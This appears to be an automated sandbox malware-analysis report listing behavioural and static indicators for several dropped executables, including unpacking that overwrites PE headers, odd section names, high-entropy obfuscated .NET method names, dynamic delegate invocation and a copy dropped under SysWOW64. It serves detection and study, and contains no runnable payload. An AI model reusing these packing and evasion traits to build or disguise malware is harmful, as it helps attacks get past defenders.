Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6972:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2076:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4140:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4696:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3952:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: \H	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: \H	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Command line argument: E6B	17_2_0041CB7B
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-BX<	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-BX<	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-BX<	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-B	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: \H	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-BX<	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-BX<	18_2_0041C735
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Command line argument: e-B	18_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-BX<	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-BX<	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-BX<	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-B	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: \H	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-BX<	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-BX<	31_2_0041C735
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Command line argument: e-B	31_2_0041C735

Source: CBA.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: CBA.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.0.CBA.exe.cb0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.2.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.2.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\2997.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: nkINykHreE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: nkINykHreE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\hatisicovapehe\p.pdb source: 2997.exe, 2997.exe, 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, 2997.exe, 00000011.00000000.353771272.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vuyeguw\zofaxekax.pdb source: nkINykHreE.exe, nkINykHreE.exe, 00000000.00000000.237076372.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000001.00000000.241917269.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000002.340276141.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000000.331309043.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000000.333118920.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000002.341669958.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000F.00000000.337510866.0000000000401000.00000020.00020000.sdmp, 115B.exe, 00000010.00000000.338143119.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\gilos\ye.pdb source: 18D.exe, 00000012.00000002.391234957.0000000000782000.00000004.00000001.sdmp, 18D.exe, 00000012.00000000.365358490.0000000000401000.00000020.00020000.sdmp, sdiimdop.exe, 0000001F.00000000.391356677.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.465105222.0000000003258000.00000004.00000001.sdmp
Source:	Binary string: i6`C:\vuyeguw\zofaxekax.pdbhQD source: nkINykHreE.exe, 00000000.00000000.237076372.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, nkINykHreE.exe, 00000001.00000000.241917269.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000002.340276141.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000D.00000000.331309043.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000000.333118920.0000000000401000.00000020.00020000.sdmp, 115B.exe, 0000000E.00000002.341669958.0000000000401000.00000020.00020000.sdmp, haifbcd, 0000000F.00000000.337510866.0000000000401000.00000020.00020000.sdmp, 115B.exe, 00000010.00000000.338143119.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 4187.exe, 0000002A.00000003.446573203.0000000000CB0000.00000004.00000001.sdmp
Source:	Binary string: ZC:\gilos\ye.pdbhQD source: 18D.exe, 00000012.00000002.391234957.0000000000782000.00000004.00000001.sdmp, 18D.exe, 00000012.00000000.365358490.0000000000401000.00000020.00020000.sdmp, sdiimdop.exe, 0000001F.00000000.391356677.0000000000401000.00000020.00020000.sdmp, svchost.exe, 00000022.00000003.465105222.0000000003258000.00000004.00000001.sdmp
Source:	Binary string: VC:\hatisicovapehe\p.pdb source: 2997.exe, 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, 2997.exe, 00000011.00000000.353771272.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 4187.exe, 0000002A.00000003.446573203.0000000000CB0000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Unpacked PE file: 18.2.18D.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Unpacked PE file: 31.2.sdiimdop.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Unpacked PE file: 42.2.4187.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Unpacked PE file: 42.2.4187.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\2997.exe	Unpacked PE file: 17.2.2997.exe.400000.0.unpack .text:ER;.data:W;.pamicak:W;.dos:W;.modav:W;.nugirof:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Unpacked PE file: 18.2.18D.exe.400000.0.unpack .text:ER;.data:W;.lave:W;.fidoce:W;.pihudu:W;.lafog:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Unpacked PE file: 31.2.sdiimdop.exe.400000.0.unpack .text:ER;.data:W;.lave:W;.fidoce:W;.pihudu:W;.lafog:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\scifbcd	Unpacked PE file: 38.2.scifbcd.400000.0.unpack .text:ER;.data:W;.pamicak:W;.dos:W;.modav:W;.nugirof:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\4187.exe	Unpacked PE file: 42.2.4187.exe.400000.0.unpack .text:ER;.data:W;.johac:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: CBA.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 19.0.CBA.exe.cb0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 19.0.CBA.exe.cb0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 19.0.CBA.exe.cb0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 19.2.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 33.0.CBA.exe.f90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 33.0.CBA.exe.f90000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00422188 push eax; ret	0_2_004221A6
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00543634 push es; iretd	0_2_00543640
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 13_2_00473634 push es; iretd	13_2_00473640
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_00473634 push es; iretd	14_2_00473640
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_006C97F2 push esi; ret	14_2_006C9808
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_006C978D push esi; ret	14_2_006C9808
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00401880 push esi; iretd	15_2_00401893
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402E94 push es; iretd	15_2_00402EA0
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402E94 push es; iretd	15_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_2_00402E94 push es; iretd	16_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 16_1_00402E94 push es; iretd	16_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00422368 push eax; ret	17_2_00422386
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00788964 push edi; iretd	17_2_007889D2
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_007889A6 push edi; iretd	17_2_007889D2
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0078CAF0 pushfd ; retf	17_2_0078CAFB
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0078EA86 push esp; iretd	17_2_0078EA87
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_0041A041 push ds; iretd	18_2_0041A064
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00417819 push cs; ret	18_2_0041781A
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00415896 push es; retf	18_2_00415897
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_004179DB push eax; iretd	18_2_004179DC
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00416264 pushfd ; iretd	18_2_00416265
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_004186F0 pushad ; retf	18_2_004186F4
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00419EA2 push esi; retf	18_2_00419EA4
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00419F4E push 71586EF6h; iretd	18_2_00419F53
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00421F58 push eax; ret	18_2_00421F76
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00774772 push ds; ret	18_2_00774773
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00776F68 push 0000002Bh; iretd	18_2_00776F6E
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_00CB765B push ebp; ret	19_2_00CB7662

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 0_2_004309A0 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_004309A0

Source: CBA.exe.3.dr

Static PE information: 0x8A3B5B05 [Sun Jun 28 23:08:53 2043 UTC]

Source: nkINykHreE.exe	Static PE information: section name: .bekuvox
Source: nkINykHreE.exe	Static PE information: section name: .jutu
Source: nkINykHreE.exe	Static PE information: section name: .vezev
Source: nkINykHreE.exe	Static PE information: section name: .mubone
Source: 115B.exe.3.dr	Static PE information: section name: .bekuvox
Source: 115B.exe.3.dr	Static PE information: section name: .jutu
Source: 115B.exe.3.dr	Static PE information: section name: .vezev
Source: 115B.exe.3.dr	Static PE information: section name: .mubone
Source: 2997.exe.3.dr	Static PE information: section name: .pamicak
Source: 2997.exe.3.dr	Static PE information: section name: .dos
Source: 2997.exe.3.dr	Static PE information: section name: .modav
Source: 2997.exe.3.dr	Static PE information: section name: .nugirof
Source: 4187.exe.3.dr	Static PE information: section name: .johac
Source: 1B15.exe.3.dr	Static PE information: section name: .nulec
Source: 1B15.exe.3.dr	Static PE information: section name: .pexano
Source: 1B15.exe.3.dr	Static PE information: section name: .tufeh
Source: 1B15.exe.3.dr	Static PE information: section name: .rijeyo
Source: 28C2.exe.3.dr	Static PE information: section name: .wibobah
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name:
Source: 315E.exe.3.dr	Static PE information: section name: .7w0DPA1
Source: 315E.exe.3.dr	Static PE information: section name: .adata
Source: 4583.exe.3.dr	Static PE information: section name: .himav
Source: 4BED.exe.3.dr	Static PE information: section name:
Source: 4BED.exe.3.dr	Static PE information: section name:
Source: 4BED.exe.3.dr	Static PE information: section name:
Source: 18D.exe.3.dr	Static PE information: section name: .lave
Source: 18D.exe.3.dr	Static PE information: section name: .fidoce
Source: 18D.exe.3.dr	Static PE information: section name: .pihudu
Source: 18D.exe.3.dr	Static PE information: section name: .lafog
Source: haifbcd.3.dr	Static PE information: section name: .bekuvox
Source: haifbcd.3.dr	Static PE information: section name: .jutu
Source: haifbcd.3.dr	Static PE information: section name: .vezev
Source: haifbcd.3.dr	Static PE information: section name: .mubone
Source: scifbcd.3.dr	Static PE information: section name: .pamicak
Source: scifbcd.3.dr	Static PE information: section name: .dos
Source: scifbcd.3.dr	Static PE information: section name: .modav
Source: scifbcd.3.dr	Static PE information: section name: .nugirof
Source: sdiimdop.exe.18.dr	Static PE information: section name: .lave
Source: sdiimdop.exe.18.dr	Static PE information: section name: .fidoce
Source: sdiimdop.exe.18.dr	Static PE information: section name: .pihudu
Source: sdiimdop.exe.18.dr	Static PE information: section name: .lafog

Source: initial sample

Static PE information: section where entry point is pointing to: .rdata

Source: 315E.exe.3.dr	Static PE information: real checksum: 0x2be809 should be: 0x18483a
Source: 13E0.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x1fc0c4
Source: CBA.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x881f2

Source: initial sample	Static PE information: section name: .text entropy: 6.85301887621
Source: initial sample	Static PE information: section name: .text entropy: 6.85301887621
Source: initial sample	Static PE information: section name: .text entropy: 6.86420375863
Source: initial sample	Static PE information: section name: .rdata entropy: 7.99705651429
Source: initial sample	Static PE information: section name: .text entropy: 7.73188934702
Source: initial sample	Static PE information: section name: .text entropy: 7.74923662565
Source: initial sample	Static PE information: section name: entropy: 7.99764058394
Source: initial sample	Static PE information: section name: entropy: 7.89880329126
Source: initial sample	Static PE information: section name: entropy: 7.99168901934
Source: initial sample	Static PE information: section name: entropy: 7.83347227701
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22930647149
Source: initial sample	Static PE information: section name: entropy: 7.9648385851
Source: initial sample	Static PE information: section name: entropy: 7.57856847804
Source: initial sample	Static PE information: section name: .7w0DPA1 entropy: 7.91708548884
Source: initial sample	Static PE information: section name: entropy: 7.99965749705
Source: initial sample	Static PE information: section name: .text entropy: 6.84705231543
Source: initial sample	Static PE information: section name: .text entropy: 6.85301887621
Source: initial sample	Static PE information: section name: .text entropy: 6.86420375863
Source: initial sample	Static PE information: section name: .text entropy: 6.84705231543

Source: CBA.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: CBA.exe.3.dr, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: CBA.exe.3.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.0.CBA.exe.cb0000.1.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 19.0.CBA.exe.cb0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.0.CBA.exe.cb0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 19.0.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 19.0.CBA.exe.cb0000.0.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 19.0.CBA.exe.cb0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.0.CBA.exe.cb0000.3.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 19.0.CBA.exe.cb0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.0.CBA.exe.cb0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 19.0.CBA.exe.cb0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 19.0.CBA.exe.cb0000.2.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 19.0.CBA.exe.cb0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.2.CBA.exe.cb0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
Source: 19.2.CBA.exe.cb0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 33.0.CBA.exe.f90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 33.0.CBA.exe.f90000.2.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 33.0.CBA.exe.f90000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'
